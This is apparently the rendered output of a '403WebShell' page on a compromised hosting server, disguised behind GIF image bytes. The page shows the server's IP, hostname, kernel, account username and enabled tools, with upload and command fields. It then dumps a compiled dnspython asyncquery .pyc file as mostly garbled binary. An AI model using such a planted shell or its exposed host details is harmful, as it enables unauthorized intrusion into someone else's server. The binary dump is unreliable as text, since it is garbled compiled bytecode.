GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib64/python3.12/site-packages/dns/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib64/python3.12/site-packages/dns/__pycache__/asyncquery.cpython-312.pyc
�

o��gex�#�
�dZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZmZm
Z
mZmZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlmZddlmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)e(rddl*Z*ejVjXZ-d�Z.dFd�Z/	dFdej`jbd	eejdjfe4fd
e
dee5de
e6e5ff
d
�Z7										dGdej`jbd
ee
dee5de8de8deeejrjtejvjxfdee4de8de8de8deejdjfde
fd�Z=											dHdejdjfde>dee5de6dee>de6de8de8de8de8deej`jbdeej`j~de8dejdjffd �Z@											dIdejdjfde>dee5de6dee>de6de8de8de8d!eej`jbd"eej`j�deej`j~de8de
ejdjfe8ffd#�ZB	dFdej`j�d	eejdjfe4fdee5de
e6e5ffd$�ZCd%�ZD					dJdej`j�dee5de8deeejrjtejvjxfdee4de8de
ejdjfe5ffd&�ZE								dKdejdjfde>dee5de6dee>de6de8de8deej`j�deej`j~dejdjffd'�ZF											dLdejdjfde>dee5de6dee>de6de8de8deej`j�deej`j~d)ee)j�d*ee>d+ee8e>fdejdjffd,�ZHd-ed.dd.fd/�ZIdd0dddddd1d(d(ddej�ej�fdejdjfde>dee5de6dee>de6de8de8d2ed3d4e>d5e8d+ee8e>fd6ee>d-ed.d7e6d8edejdjff"d9�ZL										dMdejdjfde>d:e>dee5de6dee>de6de8de8d+ee8e>fdeej`j~d;ee>d5e8dejdjffd<�ZM											dNdejdjfde>dee5de6dee>de6de8de8d=eej�j�d+ee8e>fdeej`j~d;ee>d*ee>dejdjffd>�ZNd?ej�j�d@ej`j�dejdjfdAee6dee5de5de
fdB�ZSdddddde"j�dfde>d?ej�j�deejdjfde6dee5dCee5dee>de6dDe"deej`j~ddfdE�ZUy)OzTalk to a DNS server.�N)�Any�Dict�Optional�Tuple�Union�cast)�NullContext)�BadResponse�HTTPVersion�NoDOH�NoDOQ�UDPMode�
_check_status�_compute_times�_make_dot_ssl_context�_matches_destination�
_remaining�have_doh�sslc��|s|rF|�@|tjk(rd}||fS|tjk(rd}||fStd|����||fSy)Nz0.0.0.0z::zunknown address family )�socket�AF_INET�AF_INET6�NotImplementedError)�af�address�ports   �=/opt/hc_python/lib/python3.12/site-packages/dns/asyncquery.py�
_source_tupler>sl���$��?��V�^�^�#�#��
����	�v���&�������*�,C�B�4�*H�I�I������c�R�|�%|stj�}t||z
d�Sy�Nr)�time�max)�
expiration�nows  r�_timeoutr'Ns+������)�)�+�C��:��#�Q�'�'�r �sock�what�destinationr%�returnc���K�t|tjj�r|j	�}tj
�}|j
||t||���d{���}||fS7��w)a�Send a DNS message to the specified UDP socket.

    *sock*, a ``dns.asyncbackend.DatagramSocket``.

    *what*, a ``bytes`` or ``dns.message.Message``, the message to send.

    *destination*, a destination tuple appropriate for the address family
    of the socket, specifying where to send the query.

    *expiration*, a ``float`` or ``None``, the absolute time at which
    a timeout exception should be raised.  If ``None``, no timeout will
    occur.  The expiration value is meaningless for the asyncio backend, as
    asyncio's transport sendto() never blocks.

    Returns an ``(int, float)`` tuple of bytes sent and the sent time.
    N)�
isinstance�dns�message�Message�to_wirer#�sendtor')r(r)r*r%�	sent_time�ns      r�send_udpr5Ws^����.�$����+�+�,��|�|�~���	�	��I��k�k�$��X�j�)�-L�M�M�A�
�y�>��	N�s�A)A6�+A4�,	A6F�ignore_unexpected�one_rr_per_rrset�keyring�request_mac�ignore_trailing�raise_on_truncation�
ignore_errors�queryc���K�d}	|jdt|���d{���\}}t|j|||�s�@t	j�}
	t
jj||||||��}|	r|
�|
j|�s��||
|fS7�u#t
jj$r.}|	r&|
�$|
j|j
��sYd}~�܂d}~wt$r|	rY��wxYw�w)ajRead a DNS message from a UDP socket.

    *sock*, a ``dns.asyncbackend.DatagramSocket``.

    See :py:func:`dns.query.receive_udp()` for the documentation of the other
    parameters, and exceptions.

    Returns a ``(dns.message.Message, float, tuple)`` tuple of the received message, the
    received time, and the address where the message arrived from.
    r �N)r8r9r7r:r;)�recvfromr'r�familyr#r.r/�	from_wire�	Truncated�is_response�	Exception)r(r*r%r6r7r8r9r:r;r<r=�wire�from_address�
received_time�r�es                r�receive_udprKus����0�D�
�%)�]�]�5�(�:�:N�%O�O���|�#��K�K��{�4E�
�
��	�	��
�	����%�%���'�!1� /�$7�
&��A�.�U�.�u�7H�7H��7K���=�,�/�/�A P���{�{�$�$�		���%��)�)�!�)�)�+�6�����	����		�sK�"C7�B�4C7�%B�?C7�C4�9#C"�C7�!C"�"C4�0C7�2C4�4C7�5�q�where�timeoutr�source�source_port�backendc
���K�|j�}
t|�\}}tjj	|�}t||f|�}|
rt
|
�}no|stjj�}t|||�}|j�r||f}nd}|j|tjd||��d{���}|4�d{���}t||
||��d{���t||||||j |j"||	||��d{���\}}}||z
|_|s|j'|�st(�|cddd��d{���S7��7��7�s7�D7�
#1�d{���7swYyxYw�w)aFReturn the response obtained after sending a query via UDP.

    *sock*, a ``dns.asyncbackend.DatagramSocket``, or ``None``,
    the socket to use for the query.  If ``None``, the default, a
    socket is created.  Note that if a socket is provided, the
    *source*, *source_port*, and *backend* are ignored.

    *backend*, a ``dns.asyncbackend.Backend``, or ``None``.  If ``None``,
    the default, then dnspython will use the default backend.

    See :py:func:`dns.query.udp()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    Nr)r1rr.�inet�af_for_address�_lltupler	�asyncbackend�get_default_backendr�datagram_connection_required�make_socketr�
SOCK_DGRAMr5rKr8�macr#rDr
)rMrNrOrrPrQr6r7r:r;r(rRr<rF�
begin_timer%rr*�cm�stuple�dtuple�srIrH�_s                         r�udprc�s^����8
�9�9�;�D�-�g�6��Z��	���	 �	 ��	'�B��E�4�=�"�-�K��5@��5F����&�&�:�:�<�G��r�6�;�7���/�/�1��T�]�F��F��&�&�r�6�+<�+<�a���P�
P���r�Q��q�$��Z�8�8�8�&1�
�����
�I�I�
�E�E����
�'
�!
���M�1���+�������q�!1����)�r�r�Q����8��!
����r�r�r�s~�CE6�E�
E6�E�E6�E!�'E�(0E!�E�,E!�E6�E�E6�E6�E!�E!�E6�!E3�'E*�(E3�/E6�udp_sock�tcp_sockc
���K�	t|||||||||d|	||�
�d{���}
|
dfS7�#tjj$r$t	|||||||||
|�
�d{���7}
|
dfcYSwxYw�w)a�Return the response to the query, trying UDP first and falling back
    to TCP if UDP results in a truncated response.

    *udp_sock*, a ``dns.asyncbackend.DatagramSocket``, or ``None``,
    the socket to use for the UDP query.  If ``None``, the default, a
    socket is created.  Note that if a socket is provided the *source*,
    *source_port*, and *backend* are ignored for the UDP query.

    *tcp_sock*, a ``dns.asyncbackend.StreamSocket``, or ``None``, the
    socket to use for the TCP query.  If ``None``, the default, a
    socket is created.  Note that if a socket is provided *where*,
    *source*, *source_port*, and *backend*  are ignored for the TCP query.

    *backend*, a ``dns.asyncbackend.Backend``, or ``None``.  If ``None``,
    the default, then dnspython will use the default backend.

    See :py:func:`dns.query.udp_with_fallback()` for the documentation
    of the other parameters, exceptions, and return type of this
    method.
    TNF)rcr.r/rC�tcp)rMrNrOrrPrQr6r7r:rdrerRr<�responses              r�udp_with_fallbackri�s�����F ��
�������������
�
���%� � �
�� �;�;� � �
 ��
����������
�
�
���$���
 �s=�A-�)�'�)�A-�)�4A*�A �	A*�'A-�)A*�*A-c��BK�t|tjj�r|j	d��}nt|�j
dd�|z}tj�}|j|t||���d{���t|�|fS7��w)z�Send a DNS message to the specified TCP socket.

    *sock*, a ``dns.asyncbackend.StreamSocket``.

    See :py:func:`dns.query.send_tcp()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    T)�prepend_length��bigN)
r-r.r/r0r1�len�to_bytesr#�sendallr')r(r)r%�tcpmsgr3s     r�send_tcprr8s������$����+�+�,����T��2��
�T��#�#�A�u�-��4���	�	��I�
�,�,�v�x�
�I�>�
?�?�?���K��#�#�@�s�B	B�B�Bc��K�d}|dkDrL|j|t|���d{���}|dk(rtd��|t|�z
}||z}|dkDr�L|S7�/�w)z|Read the specified number of bytes from stream.  Keep trying until we
    either get the desired amount, or we hit EOF.
    r rN�EOF)�recvr'�EOFErrorrn)r(�countr%rar4s     r�
_read_exactlyrxQsh����	�A�
�!�)��)�)�E�8�J�#7�8�8����8��5�/�!���A����
��E���!�)�
�H�
9�s�&A�A�,A�Ac��K�t|d|��d{���}tjd|�\}t|||��d{���}tj�}	tj
j
|||||��}
|
|	fS7�m7�B�w)z�Read a DNS message from a TCP socket.

    *sock*, a ``dns.asyncbackend.StreamSocket``.

    See :py:func:`dns.query.receive_tcp()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    rlN�!H�r8r9r7r:)rx�struct�unpackr#r.r/rB)r(r%r7r8r9r:�ldata�lrFrHrIs           r�receive_tcpr�_s�����  ��a��4�4�E��=�=��u�%�D�Q��t�Q�
�3�3�D��I�I�K�M���������)�'�	�	�A�
�}���
5��3�s"�B�B�,B�B�AB�Bc
	���K�|j�}
t|�\}}|r$|j��d{���t|�}
n|tj
j
|�}t|||�}||f}|	stjj�}	|	j|tjd|||��d{���}
|
4�d{���}t||
|��d{���t||||j|j |��d{���\}}||z
|_|j%|�st&�|cddd��d{���S7��7��7��7�n7�D7�#1�d{���7swYyxYw�w)aOReturn the response obtained after sending a query via TCP.

    *sock*, a ``dns.asyncbacket.StreamSocket``, or ``None``, the
    socket to use for the query.  If ``None``, the default, a socket
    is created.  Note that if a socket is provided
    *where*, *port*, *source*, *source_port*, and *backend* are ignored.

    *backend*, a ``dns.asyncbackend.Backend``, or ``None``.  If ``None``,
    the default, then dnspython will use the default backend.

    See :py:func:`dns.query.tcp()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    Nr)r1r�getpeernamer	r.rTrUrrWrXrZr�SOCK_STREAMrrr�r8r\r#rDr
)rMrNrOrrPrQr7r:r(rRrFr]r%r^rr_r`rarIrHs                    rrgrg}sH����4
�9�9�;�D�-�g�6��Z������ � � �5@��5F���X�X�
$�
$�U�
+���r�6�;�7��������&�&�:�:�<�G��&�&���"�"�A�v�v�w�
�
���r�Q��q�$�
�+�+�+�#.�
�z�+�Q�Y�Y�����$
�
���M���+����}�}�Q������r�r�	!��
����+��
����r�r�r�s��4E(�E�BE(�>E	�?
E(�	E�
E(�
E�E
�+E�
E�)E�4E(�E�E(�	E(�E(�
E�E�E(�E%�E�E%�!E(T�ssl_context�server_hostname�verifyc

��ZK�t|�\}
}|rt|�}n�|
�t||�}
tjj|�}t
|||�}||f}|	stjj�}	|	j|tjd||||
|��d{���}|4�d{���}t|�}t||||||||||	�
�d{���}tj�}||
z
|_|cddd��d{���S7�g7�^7�97�#1�d{���7swYyxYw�w)a�Return the response obtained after sending a query via TLS.

    *sock*, an ``asyncbackend.StreamSocket``, or ``None``, the socket
    to use for the query.  If ``None``, the default, a socket is
    created.  Note that if a socket is provided, it must be a
    connected SSL stream socket, and *where*, *port*,
    *source*, *source_port*, *backend*, *ssl_context*, and *server_hostname*
    are ignored.

    *backend*, a ``dns.asyncbackend.Backend``, or ``None``.  If ``None``,
    the default, then dnspython will use the default backend.

    See :py:func:`dns.query.tls()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    Nr)rr	rr.rTrUrrWrXrZrr�r'rgr#)rMrNrOrrPrQr7r:r(rRr�r�r�r]r%r^rr_r`rarh�end_times                      r�tlsr��s.����< .�g�6��Z���5@��5F����/���H�K�
�X�X�
$�
$�U�
+���r�6�;�7��������&�&�:�:�<�G��&�&�����
������	
�	
���r�Q��:�&���
��������
��
�
���9�9�;�� �:�-��
��!�r�r�	
����
����r�r�r�sl�B$D+�&D�'
D+�1D�2D+�5#D�D�#D�<D+�D�	D+�D+�D�D+�D(�D�D(�$D+�resolverzdns.asyncresolver.Resolverc�F�|�ddl}|jj�}|Sr")�dns.asyncresolver�
asyncresolver�Resolver)r�r.s  r�_maybe_get_resolverr��s&���� ��$�$�-�-�/���Or i�z
/dns-query�clientzhttpx.AsyncClient�path�post�bootstrap_addressrA�http_versionc
��$	K�	tjj|�}|�[tjj	|�r<|t
jk(rd|�d|�|	��}n |t
jk(r
d|�d|�|	��}n|}i}|��tjj�}|j�td��tjj	|j�r|j}|j|d<|j�|j}|tjk(s|tjk(r�t s�|�it#|
�}
j�J�|
j%|j|��d{���}t'j(t+|j-���}t/||||||||||
���d{���St st0�|r%t3|t4j6�std	��|j9�}d
di}|tj:tjfv}|tj<tjfv}tj>jA�}|�d}d}n|}|}|rtC|�}n7|jE�|||||||
|�
�}t5j6||||��}|4�d{���}|
rT|jGdtItK|��d��|jM|jO|||��|��d{���}nctQjR|�jUd�}|jW�} |jM|jY|d| i|��|��d{���}ddd��d{���jZdks|jZdkDr't|�d|jZ�d|j\����tj^ja|j\|jb|jd||��}!|jfji�|!_5|jm|!�stn�|!S#t$rd}Y��DwxYw7���7���7���7��S7��7��#1�d{���7swY��xYw�w)a�Return the response obtained after sending a query via DNS-over-HTTPS.

    *client*, a ``httpx.AsyncClient``.  If provided, the client to use for
    the query.

    Unlike the other dnspython async functions, a backend cannot be provided
    in this function because httpx always auto-detects the async backend.

    See :py:func:`dns.query.https()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    Nzhttps://�:z	https://[z]:zno hostname in URL�sni_hostname)r�r�z.session parameter must be an httpx.AsyncClient�acceptzapplication/dns-messager)�
local_address�http1�http2r��
local_portr�r�rA)r�r�r��	transport)zcontent-typezcontent-length)�headers�content�
extensions�=r.)r��paramsr���i+z responded with status code z
Response body: r{)8r.rTrU�
ValueError�
is_addressrrr�urllib�parse�urlparse�hostnamerr�H3�DEFAULTrr��resolve_name�random�choice�list�	addresses�_http3rr-�httpx�AsyncClientr1�H1�H2rWrXr	�get_transport_class�update�strrn�wait_forr��base64�urlsafe_b64encode�rstrip�decode�get�status_coder�r/rBr8r9�elapsed�
total_secondsr#rDr
)"rMrNrOrrPrQr7r:r�r�r�r�r�r�rAr�r�urlr��parsed�answersrFr��h1�h2rRr�r�r^r��
the_clientrh�twirerIs"                                  r�httpsr�	sU����<�
�X�X�
$�
$�U�
+��
�~�#�(�(�-�-�e�4�
������U�G�1�T�F�4�&�1�C�
�6�?�?�
"��e�W�B�t�f�T�F�3�C����J�� ����&�&�s�+���?�?�"��1�2�2��8�8���v���/� &����)/���J�~�&��;�;�"��;�;�D��{�~�~�%���+�+�+�H��$�*�8�4�H��?�?�.�.�.�$�1�1�&�/�/�6�J�J�G� &�
�
�d�7�3D�3D�3F�.G� H���
�����������
�
�	
����
�j���):�):�;��I�J�J�
�9�9�;�D��2�3�G�	�+�.�.�+�*=�*=�>�	>�B�	�+�.�.�+�*=�*=�>�	>�B����2�2�4�G�
�~��
��
��
� �
�
�5@��5H��1�G�/�/�1�'����!�/���	
�	��
�
�R�r�&�I�
V���r�Z���N�N�$=�&)�#�d�)�n��
�%�-�-�����#� �)�	 �����H��+�+�D�1�8�8��>�D��K�K�M�E�$�-�-�����#�!�5�>�)�	�����H�-�r�D���c�!�X�%9�%9�C�%?���g�1�(�2F�2F�1G��� 0� 0�3�
5�
�	
�	���������	�	��M�M�)�'�	�	�A��
�
�
+�
+�
-�A�F��=�=������H��G��
����8K��
��h������-��r�r�r�s��R�Q�ER�>Q+�?A	R�Q.�	DR�Q1�
R�AQ;�!Q4�"A#Q;�Q7�Q;�
R�Q9�CR�Q(�$R�'Q(�(R�.R�1R�4Q;�7Q;�9R�;R
�R�R
�	Rr�r�c
	��K�tjjstd��tj
j
|�}
|
j}|
j�|
j}d|_	|j�}tjj|
�\}}|�4�d{���}|||	|d��4�d{���}|j||||�}t|�\}}|j|��d{���}|4�d{���|j|||�|j!t#|���d{���}t%|j'�||�ddd��d{���t)j(�}ddd��d{���tj*j-||j.|j0||��}ddd��d{���t3z
d�_|j5|�st6�|S7��Y7��G7��7��7��7��#1�d{���7swY��xYw7��#1�d{���7swY��xYw7�m#1�d{���7swY�}xYw�w)Nz DNS-over-HTTP3 is not available.rT)�verify_mode�server_name�h3r{�)r.�quic�	have_quicrr�r�r�r�r�idr1�factories_for_backend�connectr�make_stream�send_h3�receiverrr�r#r/rBr8r9r$rDr
)rMrNr�rOrrPrQr7r:r�rRr�r��	url_partsrF�cfactory�mfactory�context�the_manager�the_connection�startr%�stream�finishrIs                         rr�r��s������8�8����6�7�7����%�%�c�*�I��!�!�H��~�~�!��~�~���A�D��9�9�;�D��8�8�9�9�'�B��X�x��z�z�W����X�$�
�
�
�(�0�0���f�k�R�N�"0��"9��U�J�)�5�5�g�>�>�F��v����s�D�$�/�#�^�^�J�z�,B�C�C���f�n�n�.��t�<�	�v�
�Y�Y�[�F�
�
�
�K�K�!�!���I�I��
�
�-�+�
"�
���z�(��%���
%�A�F��=�=������H�/��
��
?����D����v�v�v��

��
�
�
����z�z�z�s��B-I�/H�0I�3I�H�I�7H/�?H�
H/�
H
�H/�1H�?H
�H�H/�*H�+H/�I�H-�<I�I�I�2I�I�H/�H/�H�H/�H*�H!�H*�&H/�-I�/I	�5H8�6I	�=I�I�I�I�
I�I�
connectionc
	��K�tjjstd��|�|�|}d|_|j�}
|r7tjj}tjj}|}n"tjj|
�\}}|�4�d{���}|||	|��4�d{���}|s|j||||�}t|�\}}j|��d{���}|4�d{���|j|
d��d{���|jt|���d{���}
ddd��d{���tj�}ddd��d{���tjj!|
|j"|j$||��}ddd��d{���t'z
d�_|j)|�st*�|S7��F7��57��7��7��7��7��#1�d{���7swY��xYw7��#1�d{���7swY��xYw7�m#1�d{���7swY�}xYw�w)aiReturn the response obtained after sending an asynchronous query via
    DNS-over-QUIC.

    *backend*, a ``dns.asyncbackend.Backend``, or ``None``.  If ``None``,
    the default, then dnspython will use the default backend.

    See :py:func:`dns.query.quic()` for the documentation of the other
    parameters, exceptions, and return type of this method.
    zDNS-over-QUIC is not available.Nr)r�r�Tr{r�)r.r�r�r
r�r1�null_factoryr�r�rr��sendr�rr#r/rBr8r9r$rDr
)rMrNrOrrPrQr7r:r�r�rRr�r�rFr�r�r�r�r�r�r%r�r�rIs                        rr�r��s�����2�8�8����5�6�6��"�x�'7�"���A�D��9�9�;�D���8�8�(�(���8�8�(�(��#��"�x�x�=�=�g�F���8��z�z�W����'�
�
